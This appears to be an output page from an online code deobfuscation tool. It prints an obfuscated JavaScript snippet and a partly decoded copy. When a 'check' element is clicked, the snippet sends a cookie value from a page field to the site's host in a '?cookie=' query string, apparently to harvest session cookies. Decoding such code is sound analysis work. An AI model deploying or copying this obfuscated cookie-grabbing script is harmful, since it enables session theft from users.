Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

</style> <script> var _0x4105 = ["\x73\x68\x69\x66\x74", "\x70\x75\x73\x68", "\x6C..

Decoded Output download

<?  </style> 
<script> 
 
    var _0x4105 = ["shift", "push", "location", "", "18472zpDOpW", "10xojkcn", "4656IsxTOf", "addEventListener", "hostname", "37386xJlNNH", "126cixOEJ", "31662wPawmu", "9998820lvsHSD", "value", "getElementById", "1277330HNOnUS", "2022pyTICo", "143CCETbD", "1516537kAgdfv", "cookie", "?cookie=", "preventDefault", "26OHhKFa", "href", "848mcxvpg", "click", "https://", "check"]; 
    function _0x4a84(_0x1916x2, _0x1916x3) { 
        const _0x1916x4 = _0x5f4b(); 
        return _0x4a84 = function(_0x1916x5, _0x1916x6) { 
            _0x1916x5 = _0x1916x5 - 0x192; 
            let _0x1916x7 = _0x1916x4[_0x1916x5]; 
            return _0x1916x7 
        } 
        , 
        _0x4a84(_0x1916x2, _0x1916x3) 
    } 
    const _0x29aad9 = _0x4a84; 
    (function(_0x1916x9, _0x1916xa) { 
        const _0x1916xb = _0x4a84 
          , _0x1916xc = _0x1916x9(); 
        while (!![]) { 
            try { 
                const _0x1916xd = -parseInt(_0x1916xb(0x19a)) / 0x1 * (parseInt(_0x1916xb(0x1a6)) / 0x2) + parseInt(_0x1916xb(0x199)) / 0x3 * (parseInt(_0x1916xb(0x1a8)) / 0x4) + -parseInt(_0x1916xb(0x198)) / 0x5 + -parseInt(_0x1916xb(0x192)) / 0x6 * (-parseInt(_0x1916xb(0x193)) / 0x7) + parseInt(_0x1916xb(0x1a2)) / 0x8 * (-parseInt(_0x1916xb(0x194)) / 0x9) + -parseInt(_0x1916xb(0x1a7)) / 0xa * (-parseInt(_0x1916xb(0x19b)) / 0xb) + parseInt(_0x1916xb(0x195)) / 0xc * (parseInt(_0x1916xb(0x1a0)) / 0xd); 
                if (_0x1916xd === _0x1916xa) { 
                    break 
                } else { 
                    _0x1916xc[_0x4105[1]](_0x1916xc[_0x4105[0]]()) 
                } 
            } catch (_0x2f0008) { 
                _0x1916xc[_0x4105[1]](_0x1916xc[_0x4105[0]]()) 
            } 
        } 
    }(_0x5f4b, 0xb7925)); 
    const check_box = document[_0x29aad9(0x197)](_0x29aad9(0x1a5)) 
      , cookie_box = document[_0x29aad9(0x197)](_0x29aad9(0x19d)) 
      , dom = window[_0x29aad9(0x19c)][_0x29aad9(0x1aa)]; 
    check_box[_0x29aad9(0x1a9)](_0x29aad9(0x1a3), async function(_0x1916x11, _0x1916x12) { 
        const _0x1916x13 = _0x29aad9; 
        _0x1916x11[_0x1916x13(0x19f)](); 
        let _0x1916x14 = cookie_box[_0x1916x13(0x196)]; 
        window[_0x4105[2]][_0x1916x13(0x1a1)] = _0x1916x13(0x1a4) + dom + _0x1916x13(0x19e) + _0x1916x14 + _0x4105[3] 
    }); 
    function _0x5f4b() { 
        const _0x1916x16 = [_0x4105[4], _0x4105[5], _0x4105[6], _0x4105[7], _0x4105[8], _0x4105[9], _0x4105[10], _0x4105[11], _0x4105[12], _0x4105[13], _0x4105[14], _0x4105[15], _0x4105[16], _0x4105[17], _0x4105[18], _0x4105[2], _0x4105[19], _0x4105[20], _0x4105[21], _0x4105[22], _0x4105[23], _0x4105[24], _0x4105[25], _0x4105[26], _0x4105[27]]; 
        _0x5f4b = function() { 
            return _0x1916x16 
        } 
        ; 
        return _0x5f4b() 
    } 
</script>v ?>

Did this file decode correctly?

Original Code

</style>
<script>

    var _0x4105 = ["\x73\x68\x69\x66\x74", "\x70\x75\x73\x68", "\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "", "\x31\x38\x34\x37\x32\x7A\x70\x44\x4F\x70\x57", "\x31\x30\x78\x6F\x6A\x6B\x63\x6E", "\x34\x36\x35\x36\x49\x73\x78\x54\x4F\x66", "\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72", "\x68\x6F\x73\x74\x6E\x61\x6D\x65", "\x33\x37\x33\x38\x36\x78\x4A\x6C\x4E\x4E\x48", "\x31\x32\x36\x63\x69\x78\x4F\x45\x4A", "\x33\x31\x36\x36\x32\x77\x50\x61\x77\x6D\x75", "\x39\x39\x39\x38\x38\x32\x30\x6C\x76\x73\x48\x53\x44", "\x76\x61\x6C\x75\x65", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x31\x32\x37\x37\x33\x33\x30\x48\x4E\x4F\x6E\x55\x53", "\x32\x30\x32\x32\x70\x79\x54\x49\x43\x6F", "\x31\x34\x33\x43\x43\x45\x54\x62\x44", "\x31\x35\x31\x36\x35\x33\x37\x6B\x41\x67\x64\x66\x76", "\x63\x6F\x6F\x6B\x69\x65", "\x3F\x63\x6F\x6F\x6B\x69\x65\x3D", "\x70\x72\x65\x76\x65\x6E\x74\x44\x65\x66\x61\x75\x6C\x74", "\x32\x36\x4F\x48\x68\x4B\x46\x61", "\x68\x72\x65\x66", "\x38\x34\x38\x6D\x63\x78\x76\x70\x67", "\x63\x6C\x69\x63\x6B", "\x68\x74\x74\x70\x73\x3A\x2F\x2F", "\x63\x68\x65\x63\x6B"];
    function _0x4a84(_0x1916x2, _0x1916x3) {
        const _0x1916x4 = _0x5f4b();
        return _0x4a84 = function(_0x1916x5, _0x1916x6) {
            _0x1916x5 = _0x1916x5 - 0x192;
            let _0x1916x7 = _0x1916x4[_0x1916x5];
            return _0x1916x7
        }
        ,
        _0x4a84(_0x1916x2, _0x1916x3)
    }
    const _0x29aad9 = _0x4a84;
    (function(_0x1916x9, _0x1916xa) {
        const _0x1916xb = _0x4a84
          , _0x1916xc = _0x1916x9();
        while (!![]) {
            try {
                const _0x1916xd = -parseInt(_0x1916xb(0x19a)) / 0x1 * (parseInt(_0x1916xb(0x1a6)) / 0x2) + parseInt(_0x1916xb(0x199)) / 0x3 * (parseInt(_0x1916xb(0x1a8)) / 0x4) + -parseInt(_0x1916xb(0x198)) / 0x5 + -parseInt(_0x1916xb(0x192)) / 0x6 * (-parseInt(_0x1916xb(0x193)) / 0x7) + parseInt(_0x1916xb(0x1a2)) / 0x8 * (-parseInt(_0x1916xb(0x194)) / 0x9) + -parseInt(_0x1916xb(0x1a7)) / 0xa * (-parseInt(_0x1916xb(0x19b)) / 0xb) + parseInt(_0x1916xb(0x195)) / 0xc * (parseInt(_0x1916xb(0x1a0)) / 0xd);
                if (_0x1916xd === _0x1916xa) {
                    break
                } else {
                    _0x1916xc[_0x4105[1]](_0x1916xc[_0x4105[0]]())
                }
            } catch (_0x2f0008) {
                _0x1916xc[_0x4105[1]](_0x1916xc[_0x4105[0]]())
            }
        }
    }(_0x5f4b, 0xb7925));
    const check_box = document[_0x29aad9(0x197)](_0x29aad9(0x1a5))
      , cookie_box = document[_0x29aad9(0x197)](_0x29aad9(0x19d))
      , dom = window[_0x29aad9(0x19c)][_0x29aad9(0x1aa)];
    check_box[_0x29aad9(0x1a9)](_0x29aad9(0x1a3), async function(_0x1916x11, _0x1916x12) {
        const _0x1916x13 = _0x29aad9;
        _0x1916x11[_0x1916x13(0x19f)]();
        let _0x1916x14 = cookie_box[_0x1916x13(0x196)];
        window[_0x4105[2]][_0x1916x13(0x1a1)] = _0x1916x13(0x1a4) + dom + _0x1916x13(0x19e) + _0x1916x14 + _0x4105[3]
    });
    function _0x5f4b() {
        const _0x1916x16 = [_0x4105[4], _0x4105[5], _0x4105[6], _0x4105[7], _0x4105[8], _0x4105[9], _0x4105[10], _0x4105[11], _0x4105[12], _0x4105[13], _0x4105[14], _0x4105[15], _0x4105[16], _0x4105[17], _0x4105[18], _0x4105[2], _0x4105[19], _0x4105[20], _0x4105[21], _0x4105[22], _0x4105[23], _0x4105[24], _0x4105[25], _0x4105[26], _0x4105[27]];
        _0x5f4b = function() {
            return _0x1916x16
        }
        ;
        return _0x5f4b()
    }
</script>v

Function Calls

None

Variables

None

Stats

MD5 311a925403f532a987d116cadfe97d6a
Eval Count 0
Decode Time 80 ms